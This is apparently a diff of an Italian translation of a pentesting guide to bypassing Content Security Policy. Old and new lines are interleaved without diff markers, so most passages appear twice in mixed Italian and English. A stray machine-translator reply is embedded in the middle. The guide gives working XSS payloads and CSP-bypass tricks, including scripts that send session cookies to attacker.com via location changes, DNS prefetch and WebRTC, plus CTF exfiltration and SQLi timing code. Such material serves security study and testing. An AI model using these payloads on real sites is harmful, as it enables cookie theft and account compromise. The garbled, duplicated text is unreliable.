<base href="https://www.attacker.com/" />
```
### AngularJS eventi
### Eventi AngularJS
Una politica specifica nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto unico `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per eludere la CSP. È importante notare che, in Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` invariabilmente posizionato alla fine. Questa struttura è fondamentale per le tattiche di fuga dal sandbox.
Una specifica policy nota come Content Security Policy (CSP) può limitare gli eventi JavaScript. Tuttavia, AngularJS introduce eventi personalizzati come alternativa. All'interno di un evento, AngularJS fornisce un oggetto speciale `$event`, che fa riferimento all'oggetto evento nativo del browser. Questo oggetto `$event` può essere sfruttato per aggirare la CSP.
Dirigendo questo array al filtro `orderBy`, è possibile iterare su di esso, sfruttando l'elemento terminale (l'oggetto `window`) per attivare una funzione globale come `alert()`. Il frammento di codice dimostrato di seguito illustra questo processo:
In particolare, su Chrome, l'oggetto `$event/event` possiede un attributo `path`, che contiene un array di oggetti implicati nella catena di esecuzione dell'evento, con l'oggetto `window` sempre posizionato alla fine. Questa struttura è fondamentale per le tecniche di sandbox escape.
Indirizzando questo array al filtro `orderBy`, è possibile iterarvi sopra, sfruttando l'elemento terminale (l'oggetto `window`) per invocare una funzione globale come `alert()`. Lo snippet di codice mostrato di seguito illustra questo processo:
```xml
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Questo frammento evidenzia l'uso della direttiva `ng-focus` per attivare l'evento, utilizzando `$event.path|orderBy` per manipolare l'array `path`, e sfruttando l'oggetto `window` per eseguire la funzione `alert()`, rivelando così `document.cookie`.
Questo snippet evidenzia l'uso della direttiva `ng-focus` per attivare l'evento, impiegando `$event.path|orderBy` per manipolare l'array `path`, e sfruttando l'oggetto `window` per eseguire la funzione `alert()`, rivelando così `document.cookie`.
**Trova altri bypass di Angular in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
**Trova altri Angular bypasses in** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS e dominio autorizzato
### AngularJS e whitelisted domain
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Una politica CSP che autorizza domini per il caricamento di script in un'applicazione Angular JS può essere elusa attraverso l'invocazione di funzioni di callback e alcune classi vulnerabili. Ulteriori informazioni su questa tecnica possono essere trovate in una guida dettagliata disponibile su questo [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Una CSP policy che whitelists domini per il caricamento di script in un'applicazione Angular JS può essere bypassata tramite l'invocazione di callback functions e di alcune classi vulnerabili. Ulteriori informazioni su questa tecnica sono disponibili in una guida dettagliata reperibile in questo [git repository](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh*t,-it's-CSP!%22).
Payload funzionanti:
Payloads funzionanti:
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
@ -398,13 +401,13 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Altri endpoint di esecuzione arbitraria JSONP possono essere trovati [**qui**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alcuni di essi sono stati rimossi o corretti)
Altri endpoint JSONP arbitrary execution possono essere trovati in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (alcuni di essi sono stati eliminati o corretti)
### Bypass tramite Redirezione
### Bypass via Redirection
Cosa succede quando CSP incontra una redirezione lato server? Se la redirezione porta a un'origine diversa che non è consentita, fallirà comunque.
Cosa succede quando la CSP incontra un reindirizzamento lato server? Se il reindirizzamento porta a un origin diverso che non è consentito, fallirà comunque.
Tuttavia, secondo la descrizione in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se la redirezione porta a un percorso diverso, può eludere le restrizioni originali.
Tuttavia, secondo la descrizione in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), se il reindirizzamento porta a un path diverso, può bypassare le restrizioni originali.
Ecco un esempio:
```html
@ -424,25 +427,25 @@ content="script-src http://localhost:5555 https://www.google.com/a/b/c/d" />
</body>
</html>
```
Se CSP è impostato su `https://www.google.com/a/b/c/d`, poiché il percorso è considerato, sia gli script `/test` che `/a/test` saranno bloccati da CSP.
If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP.
Tuttavia, il finale `http://localhost:5555/301` sarà **reindirizzato sul lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, **il percorso non è considerato**, e **lo script può essere caricato**, bypassando così la restrizione del percorso.
Tuttavia, l'URL finale `http://localhost:5555/301` verrà **reindirizzato lato server a `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Poiché si tratta di un reindirizzamento, il **percorso non viene considerato**, e lo **script può essere caricato**, aggirando così la restrizione sul percorso.
Con questo reindirizzamento, anche se il percorso è specificato completamente, sarà comunque bypassato.
Con questo reindirizzamento, anche se il percorso è specificato completamente, verrà comunque aggirato.
Pertanto, la soluzione migliore è garantire che il sito web non abbia vulnerabilità di reindirizzamento aperto e che non ci siano domini che possano essere sfruttati nelle regole CSP.
Pertanto, la soluzione migliore è assicurarsi che il sito non abbia vulnerabilità di open redirect e che non ci siano domini che possano essere sfruttati nelle regole CSP.
### Bypassare CSP con markup pendente
### Bypass CSP with dangling markup
Leggi [come qui](../dangling-markup-html-scriptless-injection/index.html).
Read [how here](../dangling-markup-html-scriptless-injection/index.html).
### 'unsafe-inline'; img-src \*; tramite XSS
### 'unsafe-inline'; img-src \*; via XSS
```
default-src 'self' 'unsafe-inline'; img-src *;
```
`'unsafe-inline'` significa che puoi eseguire qualsiasi script all'interno del codice (XSS può eseguire codice) e `img-src *` significa che puoi utilizzare nella pagina web qualsiasi immagine da qualsiasi risorsa.
`'unsafe-inline'` significa che puoi eseguire qualsiasi script all'interno del codice (XSS può eseguire codice) e `img-src *` significa che puoi usare nella pagina web qualsiasi immagine proveniente da qualsiasi risorsa.
Puoi bypassare questo CSP esfiltrando i dati tramite immagini (in questa occasione l'XSS sfrutta un CSRF dove una pagina accessibile dal bot contiene un SQLi, e estrae il flag tramite un'immagine):
Puoi bypassare questa CSP esfiltrando i dati tramite immagini (in questo caso l'XSS sfrutta una CSRF in cui una pagina accessibile dal bot contiene una SQLi, e estrae il flag tramite un'immagine):
```javascript
<script>
fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@ -451,42 +454,42 @@ Image().src='http://PLAYER_SERVER/?'+_)
```
Da: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Potresti anche abusare di questa configurazione per **caricare codice javascript inserito all'interno di un'immagine**. Se, ad esempio, la pagina consente di caricare immagini da Twitter. Potresti **creare** un **immagine speciale**, **caricarla** su Twitter e abusare del "**unsafe-inline**" per **eseguire** un codice JS (come un normale XSS) che **caricherà** l'**immagine**, **estrarrà** il **JS** da essa e **eseguirà** **esso**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Potresti anche abusare di questa configurazione per **caricare javascript inserito all'interno di un'immagine**. Se, per esempio, la pagina permette di caricare immagini da Twitter, potresti **creare** una **immagine speciale**, **caricarla** su Twitter e abusare del "**unsafe-inline**" per **eseguire** un codice JS (come un normale XSS) che **caricherà** l'**immagine**, **estrarrà** la **JS** da essa ed **eseguirà** **quest'ultima**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### Con i Service Workers
### Con Service Workers
La funzione **`importScripts`** dei service workers non è limitata dal CSP:
Service workers **`importScripts`** function isn't limited by CSP:
{{#ref}}
../xss-cross-site-scripting/abusing-service-workers.md
{{#endref}}
### Iniezione di Policy
### Policy Injection
**Ricerca:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
**Research:** [**https://portswigger.net/research/bypassing-csp-with-policy-injection**](https://portswigger.net/research/bypassing-csp-with-policy-injection)
#### Chrome
Se un **parametro** inviato da te viene **incollato all'interno** della **dichiarazione** della **policy,** allora potresti **modificare** la **policy** in qualche modo che la renda **inutile**. Potresti **consentire script 'unsafe-inline'** con uno di questi bypass:
Se un **parametro** inviato da te viene **incollato all'interno** della **dichiarazione** della **policy**, allora potresti **alterare** la **policy** in qualche modo da renderla **inutile**. Potresti **permettere** lo script '**unsafe-inline**' con uno di questi bypass:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Perché questa direttiva **sovrascriverà le direttive script-src esistenti**.\
Puoi trovare un esempio qui: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
In Edge è molto più semplice. Se puoi aggiungere nel CSP solo questo: **`;_`** **Edge** **scarterà** l'intera **politica**.\
Esempio: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
In Edge è molto più semplice. Se riesci ad aggiungere nella CSP soltanto questo: **`;_`**, **Edge** annullerebbe l'intera **policy**.\
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - Attacco temporale
### img-src \*; via XSS (iframe) - attacco di timing
Nota l'assenza della direttiva `'unsafe-inline'`\
Questa volta puoi far **caricare** a vittima una pagina sotto **il tuo controllo** tramite **XSS** con un `<iframe`. Questa volta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo puoi **controllare il tempo necessario per caricare la pagina** puoi estrarre le informazioni di cui hai bisogno.
Notice the lack of the directive `'unsafe-inline'`\
Questa volta puoi far **caricare** alla vittima una pagina sotto **il tuo controllo** tramite **XSS** con un `<iframe`. Stavolta farai accedere la vittima alla pagina da cui vuoi estrarre informazioni (**CSRF**). Non puoi accedere al contenuto della pagina, ma se in qualche modo riesci a **controllare il tempo necessario al caricamento della pagina** puoi estrarre le informazioni di cui hai bisogno.
Questa volta una **flag** verrà estratta, ogni volta che un **carattere viene indovinato correttamente** tramite SQLi la **risposta** richiede **più tempo** a causa della funzione sleep. Poi, sarai in grado di estrarre la flag:
Questa volta verrà estratta una **flag**: ogni volta che un **carattere viene indovinato correttamente** via SQLi la **risposta** impiega **più tempo** a causa della funzione sleep. Così riuscirai a estrarre la flag:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -548,22 +551,22 @@ run()
```
### Via Bookmarklets
Questo attacco implicherebbe un po' di ingegneria sociale in cui l'attaccante **convince l'utente a trascinare e rilasciare un link sopra il bookmarklet del browser**. Questo bookmarklet conterrà **codice javascript malevolo** che, quando trascinato e rilasciato o cliccato, verrebbe eseguito nel contesto della finestra web attuale, **bypassando CSP e permettendo di rubare informazioni sensibili** come cookie o token.
Questo attacco implica una certa social engineering in cui l'attaccante **convince l'utente a drag\&dropped un link sopra il bookmarklet del browser**. Questo bookmarklet conterrebbe codice **malicious javascript** che quando drag\&dropped o clicked verrebbe eseguito nel contesto della finestra web corrente, **bypassando CSP e permettendo di rubare informazioni sensibili** come cookies o tokens.
Per ulteriori informazioni [**controlla il rapporto originale qui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### Bypass CSP limitando CSP
### CSP bypass by restricting CSP
In [**questo writeup CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP viene bypassato iniettando all'interno di un iframe consentito un CSP più restrittivo che non consentiva di caricare un file JS specifico che, poi, tramite **prototype pollution** o **dom clobbering** permetteva di **abusare di un altro script per caricare uno script arbitrario**.
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), il CSP viene bypassato iniettando, all'interno di un iframe consentito, un CSP più restrittivo che impediva il caricamento di uno specifico file JS che, poi, tramite **prototype pollution** o **dom clobbering** permetteva di **abusare di un diverso script per caricare uno script arbitrario**.
Puoi **limitare un CSP di un Iframe** con l'attributo **`csp`**:
Puoi **restringere il CSP di un Iframe** con l'attributo **`csp`**:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
In [**questo CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** **ristretta** ulteriormente una **CSP** in modo che uno script che preveniva CSTI fosse disabilitato e quindi la **vulnerabilità è diventata sfruttabile.**\
La CSP può essere resa più restrittiva utilizzando **HTML meta tags** e gli script inline possono essere disabilitati **rimuovendo** l'**entry** che consente il loro **nonce** e **abilitando script inline specifici tramite sha**:
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), è stato possibile tramite **HTML injection** rendere più restrittiva una **CSP** in modo che uno script che preveniva il CSTI venisse disabilitato e quindi la **vulnerability became exploitable.**\
La CSP può essere resa più restrittiva usando **HTML meta tags** e gli inline scripts possono essere disabilitati rimuovendo la **entry** che permette il loro **nonce** e abilitando specifici inline script tramite **sha**:
```html
<meta
http-equiv="Content-Security-Policy"
@ -574,9 +577,9 @@ content="script-src 'self'
```
### JS exfiltration with Content-Security-Policy-Report-Only
Se riesci a far sì che il server risponda con l'intestazione **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (forse a causa di un CRLF), potresti farlo puntare al tuo server e se **avvolgi** il **contenuto JS** che desideri esfiltrare con **`<script>`** e poiché è altamente probabile che `unsafe-inline` non sia consentito dal CSP, questo **attiverà un errore CSP** e parte dello script (contenente le informazioni sensibili) sarà inviata al server da `Content-Security-Policy-Report-Only`.
Se riesci a far sì che il server risponda con l'header **`Content-Security-Policy-Report-Only`** con un **valore controllato da te** (magari a causa di un CRLF), puoi farlo puntare al tuo server e se avvolgi il **JS content** che vuoi exfiltrate con **`<script>`** e poiché è altamente probabile che `unsafe-inline` non sia permesso dalla CSP, questo farà **scattare un errore CSP** e parte dello script (contenente le informazioni sensibili) verrà inviata al server da `Content-Security-Policy-Report-Only`.
Per un esempio [**controlla questo CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
Per un esempio [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
### [CVE-2020-6519](https://www.perimeterx.com/tech-blog/2020/csp-bypass-vuln-disclosure/)
```javascript
@ -585,38 +588,54 @@ document.querySelector("DIV").innerHTML =
```
### Leaking Information with CSP and Iframe
- Un `iframe` viene creato che punta a un URL (chiamiamolo `https://example.redirect.com`) che è permesso da CSP.
- Questo URL reindirizza quindi a un URL segreto (ad esempio, `https://usersecret.example2.com`) che **non è consentito** da CSP.
- Ascoltando l'evento `securitypolicyviolation`, si può catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, facendo trapelare il dominio segreto a cui l'URL iniziale ha reindirizzato.
- Viene creato un `iframe` che punta a un URL (chiamiamolo `https://example.redirect.com`) che è consentito da CSP.
- Questo URL poi reindirizza a un URL segreto (es., `https://usersecret.example2.com`) che è **non consentito** da CSP.
- Ascoltando l'evento `securitypolicyviolation`, è possibile catturare la proprietà `blockedURI`. Questa proprietà rivela il dominio dell'URI bloccato, leaking il dominio segreto a cui l'URL iniziale è stato reindirizzato.
È interessante notare che i browser come Chrome e Firefox hanno comportamenti diversi nella gestione degli iframe rispetto a CSP, portando a una potenziale fuga di informazioni sensibili a causa di comportamenti non definiti.
È interessante notare che browser come Chrome e Firefox hanno comportamenti differenti nel gestire gli iframe rispetto a CSP, il che può portare a potenziale leakage di informazioni sensibili a causa di comportamenti non definiti.
Un'altra tecnica coinvolge lo sfruttamento del CSP stesso per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'aggiustamento del CSP per includere domini specifici che sono deliberatamente bloccati. Ad esempio, se il sottodominio segreto è composto da caratteri sconosciuti, puoi testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o consentire questi sottodomini. Ecco un frammento che mostra come il CSP potrebbe essere configurato per facilitare questo metodo:
Un'altra tecnica consiste nello sfruttare la stessa CSP per dedurre il sottodominio segreto. Questo metodo si basa su un algoritmo di ricerca binaria e sull'adattamento della direttiva CSP per includere domini specifici che vengono deliberatamente bloccati. Per esempio, se il sottodominio segreto è composto da caratteri sconosciuti, è possibile testare iterativamente diversi sottodomini modificando la direttiva CSP per bloccare o permettere questi sottodomini. Di seguito uno snippet che mostra come la CSP potrebbe essere configurata per facilitare questo metodo:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Monitorando quali richieste sono bloccate o consentite dal CSP, si può restringere il campo dei possibili caratteri nel sottodominio segreto, scoprendo infine l'URL completo.
Monitorando quali richieste vengono bloccate o permesse dalla CSP, si possono restringere i possibili caratteri nel sottodominio segreto, scoprendo infine l'URL completo.
Entrambi i metodi sfruttano le sfumature dell'implementazione e del comportamento del CSP nei browser, dimostrando come politiche apparentemente sicure possano involontariamente leakare informazioni sensibili.
Entrambi i metodi sfruttano le sfumature dell'implementazione della CSP e del comportamento dei browser, dimostrando come politiche apparentemente sicure possano, involontariamente, causare un leak di informazioni sensibili.
Trick da [**qui**](https://ctftime.org/writeup/29310).
Trucco da [**here**](https://ctftime.org/writeup/29310).
## Tecnologie non sicure per bypassare il CSP
## Tecnologie insicure per bypassare la CSP
### Errori PHP quando ci sono troppi parametri
### Errori PHP quando troppi parametri
Secondo l'[**ultima tecnica commentata in questo video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviare troppi parametri (1001 parametri GET anche se puoi farlo anche con parametri POST e più di 20 file). Qualsiasi **`header()`** definito nel codice web PHP **non verrà inviato** a causa dell'errore che questo genererà.
Secondo la [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), inviando troppi parametri (1001 parametri GET anche se si può farlo anche con parametri POST e più di 20 file). Qualsiasi definito **`header()`** nel codice web PHP **non verrà inviato** a causa dell'errore che ciò genererà.
### Sovraccarico del buffer di risposta PHP
PHP è noto per **bufferizzare la risposta fino a 4096** byte per impostazione predefinita. Pertanto, se PHP mostra un avviso, fornendo **dati sufficienti all'interno degli avvisi**, la **risposta** verrà **inviata** **prima** dell'**intestazione CSP**, causando l'ignoranza dell'intestazione.\
Quindi, la tecnica consiste fondamentalmente nel **riempire il buffer di risposta con avvisi** in modo che l'intestazione CSP non venga inviata.
PHP è noto per **memorizzare in buffer la risposta fino a 4096 byte** per impostazione predefinita. Quindi, se PHP mostra un warning, fornendo **sufficienti dati all'interno dei warning**, la **risposta** sarà **inviata** **prima** dell'**CSP header**, causando che l'header venga ignorato.\
La tecnica consiste fondamentalmente nel **riempire il buffer di risposta con warning** in modo che l'header CSP non venga inviato.
Idea da [**questo writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Disabilitare la CSP via max_input_vars (headers already sent)
### Riscrivere la pagina di errore
Poiché gli header devono essere inviati prima di qualsiasi output, i warning emessi da PHP possono invalidare chiamate successive a `header()`. Se l'input utente supera `max_input_vars`, PHP lancia prima un warning di startup; qualsiasi successivo `header('Content-Security-Policy: ...')` fallirà con “headers already sent”, disabilitando di fatto la CSP e permettendo reflective XSS altrimenti bloccate.
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
Non hai fornito il contenuto da tradurre. Incolla qui il testo di src/pentesting-web/content-security-policy-csp-bypass/README.md e lo tradurrò in italiano mantenendo la stessa sintassi Markdown/HTML e le regole che hai specificato.
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
Da [**questo writeup**](https://blog.ssrf.kr/69) sembra che fosse possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendo il suo contenuto.
# Exceed max_input_vars to force warnings before header() → CSP stripped
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
# Warning: PHP Request Startup: Input variables exceeded 1000 ...
# Warning: Cannot modify header information - headers already sent
```
### Riscrittura della pagina di errore
Da [**this writeup**](https://blog.ssrf.kr/69) sembra che sia stato possibile bypassare una protezione CSP caricando una pagina di errore (potenzialmente senza CSP) e riscrivendone il contenuto.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -625,40 +644,40 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME è una tecnica che sfrutta un XSS (o un XSS altamente limitato) **in un endpoint di una pagina** per **sfruttare** **altri endpoint della stessa origine.** Questo avviene caricando l'endpoint vulnerabile da una pagina dell'attaccante e poi aggiornando la pagina dell'attaccante all'endpoint reale nella stessa origine che si desidera sfruttare. In questo modo, l'**endpoint vulnerabile** può utilizzare l'oggetto **`opener`** nel **payload** per **accedere al DOM** dell'**endpoint reale da sfruttare**. Per ulteriori informazioni controlla:
SOME è una tecnica che sfrutta una XSS (o una XSS molto limitata) **in an endpoint of a page** per **abuse** **other endpoints of the same origin.** Questo si ottiene caricando l'endpoint vulnerabile da una pagina controllata dall'attaccante e poi ricaricando la pagina dell'attaccante verso l'endpoint reale nella stessa origine che si vuole sfruttare. In questo modo l'**vulnerable endpoint** può usare l'oggetto **`opener`** nel **payload** per **access the DOM** dell'**real endpoint to abuse**. Per maggiori informazioni consulta:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
Inoltre, **wordpress** ha un endpoint **JSONP** in `/wp-json/wp/v2/users/1?_jsonp=data` che **riflette** i **dati** inviati nell'output (con la limitazione di solo lettere, numeri e punti).
Moreover, **wordpress** has a **JSONP** endpoint in `/wp-json/wp/v2/users/1?_jsonp=data` that will **reflect** the **data** sent in the output (con la limitazione di solo lettere, numeri e punti).
Un attaccante può sfruttare quell'endpoint per **generare un attacco SOME** contro WordPress e **incorporarlo** all'interno di `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` nota che questo **script** sarà **caricato** perché è **consentito da 'self'**. Inoltre, e poiché WordPress è installato, un attaccante potrebbe sfruttare l'**attacco SOME** attraverso l'endpoint **callback vulnerabile** che **bypassa il CSP** per dare più privilegi a un utente, installare un nuovo plugin...\
Per ulteriori informazioni su come eseguire questo attacco controlla [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
## Bypass di esfiltrazione CSP
Se c'è un CSP rigoroso che non ti consente di **interagire con server esterni**, ci sono alcune cose che puoi sempre fare per estrarre le informazioni.
Se c'è una CSP rigorosa che non ti permette di **interact with external servers**, ci sono alcune cose che puoi sempre fare per esfiltrare le informazioni.
### Location
Potresti semplicemente aggiornare la posizione per inviare al server dell'attaccante le informazioni segrete:
Potresti semplicemente aggiornare la location per inviare al server dell'attaccante le informazioni segrete:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta tag
Puoi reindirizzare iniettando un meta tag (questo è solo un reindirizzamento, non farà trapelare contenuti)
Puoi effettuare un redirect iniettando un meta tag (questo è solo un redirect, questo non farà leak del contenuto)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
### DNS Prefetch
Per caricare le pagine più velocemente, i browser pre-risolveranno i nomi host in indirizzi IP e li memorizzeranno per un uso successivo.\
Puoi indicare a un browser di pre-risolvere un nome host con: `<link rel="dns-prefetch" href="something.com">`
Per caricare le pagine più velocemente, i browser risolveranno preventivamente gli hostname in indirizzi IP e li memorizzeranno nella cache per uso successivo.\
Puoi indicare a un browser di risolvere preventivamente un hostname con: `<link rel="dns-prefetch" href="something.com">`
Potresti abusare di questo comportamento per **esfiltrare informazioni sensibili tramite richieste DNS**:
Potresti abusare di questo comportamento per **exfiltrate sensitive information via DNS requests**:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -675,18 +694,18 @@ linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
Per evitare che ciò accada, il server può inviare l'intestazione HTTP:
Per evitare che ciò accada, il server può inviare l'HTTP header:
```
X-DNS-Prefetch-Control: off
```
> [!TIP]
> Apparentemente, questa tecnica non funziona nei browser headless (bot)
> Apparentemente, questa tecnica non funziona nei headless browsers (bots)
### WebRTC
Su diverse pagine puoi leggere che **WebRTC non controlla la politica `connect-src`** del CSP.
Su diverse pagine puoi leggere che **WebRTC non verifica la `connect-src` policy** della CSP.
In realtà puoi _leak_ informazioni utilizzando una _richiesta DNS_. Dai un'occhiata a questo codice:
In realtà puoi _leak_ informazioni usando una _DNS request_. Guarda questo codice:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -708,7 +727,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
Il popup delle credenziali invia una richiesta DNS all'iconURL senza essere limitato dalla pagina. Funziona solo in un contesto sicuro (HTTPS) o su localhost.
Il popup delle credenziali invia una richiesta DNS a iconURL senza essere soggetto alle restrizioni della pagina. Funziona solo in un contesto sicuro (HTTPS) o su localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
@ -719,7 +738,7 @@ iconURL:"https:"+your_data+"example.com"
})
)
```
## Controllare le politiche CSP online
## Verifica delle policy CSP online
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
@ -738,6 +757,7 @@ iconURL:"https:"+your_data+"example.com"
- [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
- [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
- [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
​

281
src/pentesting-web/file-inclusion/README.md
View File

@ -4,7 +4,7 @@
## File Inclusion
